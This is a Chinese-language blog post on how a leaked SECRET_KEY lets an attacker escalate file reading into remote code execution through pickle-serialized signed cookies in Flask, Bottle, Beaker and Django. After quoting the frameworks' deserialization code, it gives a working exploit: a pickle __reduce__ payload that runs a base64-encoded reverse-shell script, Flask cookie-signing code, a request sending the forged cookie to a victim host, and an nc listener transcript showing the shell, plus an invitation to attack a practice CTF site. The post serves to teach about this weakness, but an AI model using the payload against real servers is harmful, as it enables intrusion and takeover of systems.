对于Python的框架中一些会话程序的管理


Posted in Python onApril 20, 2015

 Django, Bottle, Flask,等所有的python web框架都需要配置一个SECRET_KEY。文档通常推荐我们使用随机的值,但我很难发现他有任何文字说明,因为这样容易被破解(本地攻击或者文本阅读在web app中更容易受攻击)。攻击者可以使用SECRET_KEY伪造cookies,csrf token然后使用管理员工具。不过这很难做到,不过他可以搞一些小破坏,比如执行恶意代码。这也是我下面将要介绍的。

记得以前使用PHP找到一个可以读服务器上任意文件的bug(不包含本地文件),你将会被迫选择远程执行代码(RCE)。你就需要审查大部分的app资源文件来找到其他的bugs或者有用的信息(比如说用户密码,或者数据库信息等)。在这个情况下,我们能说PHP是更安全的吗?
在攻击一个Python网站框架的时候,知道你设置的SECRET_KEY字段的攻击者,能够简单的将LFR攻击升级到RCE攻击。我(作者)是从攻击一系列的网站框架之后得出如上结论的。在这些网站框架中,都有雷同的,使用Pickle作为将经过签名的Cookie序列化的方式。

Flask框架中,Flask在config['SECRET_KEY']被赋予某个值,session_cookie_name(default='session')存在于cookie中的时候,将Cookie反序列化,甚至在没有session的情况下。(这样多么好,攻击者可以仅仅通过向config file添加SECRET_KEY的方式制造后门,并且,天真的用户将认为这非常'重要')
 

从 werkzeug library 里面提取出来的反序列方法是这样的:
 

def unserialize(cls, string, secret_key):
    if isinstance(string, unicode):
      string = string.encode('utf-8', 'replace')
    try:
      base64_hash, data = string.split('?', 1)
    except (ValueError, IndexError):
      items = ()
    else:
      items = {}
      mac = hmac(secret_key, None, cls.hash_method)
      # -- snip ---
      try:
        client_hash = base64_hash.decode('base64')
      except Exception:
        items = client_hash = None
      if items is not None and safe_str_cmp(client_hash, mac.digest()):
        try:
          for key, value in items.iteritems():
            items[key] = cls.unquote(value)
        except UnquoteError:
          # -- snip --
      else:
        items = ()
    return cls(items, secret_key, False)

反序列方法检查签名,然后在签名正确的情况下unquote()cookie的值。unquote()方法看起来非常无辜,但是事实上,这是一个默认的pickle.
 

#: the module used for serialization. Unless overriden by subclasses
#: the standard pickle module is used.
serialization_method = pickle
def unquote(cls, value):
  # -- snip --
    if cls.quote_base64:
      value = value.decode('base64')
    if cls.serialization_method is not None:
      value = cls.serialization_method.loads(value)
    return value
  # -- snip --

Bottle: 在默认的bottle设定中时没有真正的secret key的,但是也许有人想要用signed cookie的功能来加密他自己的cookie.

让我们来看看代码是怎么样的:
 

def get_cookie(self, key, default=None, secret=None):
  value = self.cookies.get(key)
  if secret and value:
    dec = cookie_decode(value, secret) # (key, value) tuple or None
    return dec[1] if dec and dec[0] == key else default
  return value or default

当这个密钥被展现出来的时候,并且在cookie中还有其他数值的时候,cookie_decode  方法被调用:
 

def cookie_decode(data, key):
  data = tob(data)
  if cookie_is_encoded(data):
    sig, msg = data.split(tob('?'), 1)
    if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg).digest())):
      return pickle.loads(base64.b64decode(msg))
  return None

再次,我们看到了Pickle !

Beaker 的session:(任何服务都可以在session上使用beaker的中间件,bottle框架甚至推荐这么做) Beaker.Session 具有很多功能,并且这可能被混淆: 这里面有三个密钥 secret_key, validate_key, encrypted_key)

    encrypt_key: 加密cookie信息,然后要么向客户端发送(session.type="cookie"/Cookie mode),要么在(session.type="file"/File mode)中储存。如果没有设定encrypt_key,那么cookie不会被加密,只会被base64编码。当有encrypt_key的时候,cookie会被用encrypted_key, validate_key(可选)和一个随机值用AES方法加密。
    validate_key: 用来给加密的cookie签名
    secret:在用File mode时候给cookie签名(我不知道为什么他们不就用一个validate_key就好了!)

 

当然,当有人对文件拥有读的权限的时候,他/她理所当然知道所有的字段。然而,File mode使得攻击不得能因为我们对已经序列化的数据并没有控制权,例如,当这些数据储存在本地硬盘上的时候。在Cookie mode,攻击就能够成立,即便cookie被编码了(因为我们知道怎么encrypt,哈哈)。你也许会问,那个随机参数是不可知的,你们没办法攻击,幸运的是这个随机参数也是cookie存数的session数据的一部分,因此,我们可以将其替代为任何我们需要的值。

下面是他们构造session数据的代码

 

def _encrypt_data(self, session_data=None):
   """Serialize, encipher, and base64 the session dict"""
   session_data = session_data or self.copy()
   if self.encrypt_key:
     nonce = b64encode(os.urandom(6))[:8]
     encrypt_key = crypto.generateCryptoKeys(self.encrypt_key,
                     self.validate_key + nonce, 1)
     data = util.pickle.dumps(session_data, 2)
     return nonce + b64encode(crypto.aesEncrypt(data, encrypt_key))
   else:
     data = util.pickle.dumps(session_data, 2)
     return b64encode(data)

我们明显的看到这些数据的处理存在风险。

Django: 最知名也是在Python语言中最复杂的一个服务器框架。而且,没错,Django的开发者们在Cookie Session上放置了一个蛮不错的警告。以我之鄙见,这个警告不够,而应该被替换成'致命'或者是'警示',并且标上红色。

Django的Session是咋么工作的呢?我们能够从Django的文档中轻易的找到可阅读的答案:总而言之,Django给了session 3个可以设定的项目:db,file以及signed_cookie。再一次,我们只对signed_cookie产生兴趣,因为我们可以轻松的改变它。如果SESSION_ENGINE被设定为“django.contrib.sessions.backends.signed_cookies“,我们就确定signed_cookie是背用于session的管理。

有趣的是,如果我们在request cookie里面构造一个sessionid,它总是会被反序列化。Django也给了我们一个cookie是如何被签名的好实例。这让我们的工作轻松多了。

我们的攻击

我们还没有讨论我们如何攻击(有些你可能已经知道了)!感谢您的耐心看到最后,我写它在最后是因为攻击手段充满共性,而且简单(是的,原则性的知识)。

在这里,我们可以读取任何文件。要找到Python应用程序的配置文件并不难,因为到处有导入(import)。当我们获得的密钥时,我们可以简单的实现(或重复使用)签署web框架的cookie,并使用我们的恶意代码。 因为它们使用的是pickle.loads()反序列化的时候,我们的使用pickle.dumps()保存恶意代码。

piclke.dump()和loads()通常在处理整数,字符串,数列,哈希,字典类型的时候是安全的....但是他在处理一些恶意构造的数据类型的时候就不安全了!事实上,攻击者可以通过构造的数据类型来达到执行任意Python代码的目的。我写了一段不错的小程序来吧Python代码转换成Pickle序列化的对象。我们应该从connback.py开始阅读(这实际上是一个反向链接的shell),然后我们将诱使对方网站来用Pickle方法将其序列化。如果有人执行了pickle.loads(payload),那么我们的反向链接shell就会被激活。
 

code = b64(open('connback.py').read())
class ex(object):
  def __reduce__(self):
    return ( eval, ('str(eval(compile("%s".decode("base64"),"q","exec"))).strip("None")'%(code),) )
payload = pickle.dumps(ex())

现在我们签名(适用于flask web框架):
 

def send_flask(key, payload):
  data = 'id='+b64(payload)
  mac = b64(hmac(key, '|'+data, hashlib.sha1).digest())
  s = '%(sig)s?%(data)s' % {'sig':mac, 'data':data}

然后发送
 

print requests.get('http://victim/', cookies={'session':s})

在另外一个终端里:
 

danghvu@thebeast:~$ nc -lvvv 1337
Connection from x.x.x.x port 1337 [tcp/*] accepted
!P0Wn! Congratulation !!
sh: no job control in this shell
sh-4.1$

还有啥?

-所以怎样?只要你不知道我的secret_key我就是安全的!可以啊,你可以这样....但是和宣称:"我把我的钥匙放在房顶上,我知道你爬不上来..."没啥区别。

-好的, 所以如果我不用这种session cookie,我就安全了!没错,在小型的web app上,将session 储存在文件里面更安全(如果放在DB里面,我们还面临SQL Injection的危险)。但是如果是大型web app,然后你有个分布式的存储方式,这将导致严重的效率问题。

-那咋办?也许我们应该让那些web框架不要用piclke来序列化?我不知道是否存在这种框架,如果有的话就好了。PHP更安全吗?事实上不是如此

最后:

Web.Py,当我查看他们的web session文档的时候我发现:CookieHandler ? DANGEROUS, UNSECURE, EXPERIMENTAL

所以,干得好:D ,也许所有人都应该这样做。你们应该去试试web.py和其他框架。

我做了这些,如果你想要让它奏效你也可以花点时间上去。

作为一个礼物,这个网站是有这个漏洞的,让我们看看你们是不是能够把lfr bug升级成为一个rce,然后你们会找到真正的礼物:一个flag...

更新:有漏洞的网站的源码放在github上了,它的secret_key已经不一样了。

Python 相关文章推荐
Python实现的下载8000首儿歌的代码分享
Nov 21 Python
Python中实现结构相似的函数调用方法
Mar 10 Python
Python函数返回值实例分析
Jun 08 Python
使用Python生成XML的方法实例
Mar 21 Python
python实现点对点聊天程序
Jul 28 Python
Python开发最牛逼的IDE——pycharm
Aug 01 Python
Puppeteer使用示例详解
Jun 20 Python
Python人工智能之路 之PyAudio 实现录音 自动化交互实现问答
Aug 13 Python
Django用户身份验证完成示例代码
Apr 03 Python
Python面向对象实现方法总结
Aug 12 Python
python 批量下载bilibili视频的gui程序
Nov 20 Python
Python 数据结构之十大经典排序算法一文通关
Oct 16 Python
介绍Python的Django框架中的QuerySets
Apr 20 #Python
使用Python的Django框架实现事务交易管理的教程
Apr 20 #Python
简化Python的Django框架代码的一些示例
Apr 20 #Python
在Python的Django框架上部署ORM库的教程
Apr 20 #Python
在Heroku云平台上部署Python的Django框架的教程
Apr 20 #Python
从Python程序中访问Java类的简单示例
Apr 20 #Python
把项目从Python2.x移植到Python3.x的经验总结
Apr 20 #Python
You might like
PHP has encountered an Access Violation at 7C94BD02解决方法
2009/08/24 PHP
PHP实现自动对图片进行滚动显示的方法
2015/03/12 PHP
linux下为php添加iconv模块的方法
2016/02/28 PHP
PHP数组函数array_multisort()用法实例分析
2016/04/02 PHP
Thinkphp5.0 框架视图view的比较标签用法分析
2019/10/12 PHP
在JavaScript中遭遇级联表达式陷阱
2007/03/08 Javascript
jquery获取tr并更改tr内容示例代码
2014/02/13 Javascript
教你用jquery实现iframe自适应高度
2014/06/11 Javascript
JS实现适合于后台使用的动画折叠菜单效果
2015/09/21 Javascript
JQuery对ASP.NET MVC数据进行更新删除
2016/07/13 Javascript
5种JavaScript脚本加载的方式
2017/01/16 Javascript
详解windows下vue-cli及webpack 构建网站(三)使用组件
2017/06/17 Javascript
vue的无缝滚动组件vue-seamless-scroll实例
2017/12/18 Javascript
axios中cookie跨域及相关配置示例详解
2017/12/20 Javascript
JavaScript遍历查找数组中最大值与最小值的方法示例
2019/05/24 Javascript
python 从远程服务器下载日志文件的程序
2013/02/10 Python
Python内置数据结构与操作符的练习题集锦
2016/07/01 Python
Python 'takes exactly 1 argument (2 given)' Python error
2016/12/13 Python
浅谈python 里面的单下划线与双下划线的区别
2017/12/01 Python
Python图像处理之直线和曲线的拟合与绘制【curve_fit()应用】
2018/12/26 Python
Python为何不能用可变对象作为默认参数的值
2019/07/01 Python
python爬虫 爬取超清壁纸代码实例
2019/08/16 Python
python实现多线程端口扫描
2019/08/31 Python
css3实现椭圆轨迹旋转的示例代码
2018/10/29 HTML / CSS
HTML5 通过Vedio标签实现视频循环播放的示例代码
2020/08/05 HTML / CSS
Java的基础面试题附答案
2016/01/10 面试题
配件采购员岗位职责
2013/12/03 职场文书
2014全国两会学习心得体会1000字
2014/03/10 职场文书
新闻发布会主持词
2014/03/28 职场文书
教师师德演讲稿
2014/05/06 职场文书
2015年初中教务处工作总结
2015/07/21 职场文书
初中数学教学反思范文
2016/02/17 职场文书
100句拼搏进取的名言警句,值得一读!
2019/10/07 职场文书
css3 利用transform-origin 实现圆点分布在大圆上布局及旋转特效
2021/04/29 HTML / CSS
解决pycharm安装scrapy DLL load failed:找不到指定的程序的问题
2021/06/08 Python
Python Flask实现进度条
2022/05/11 Python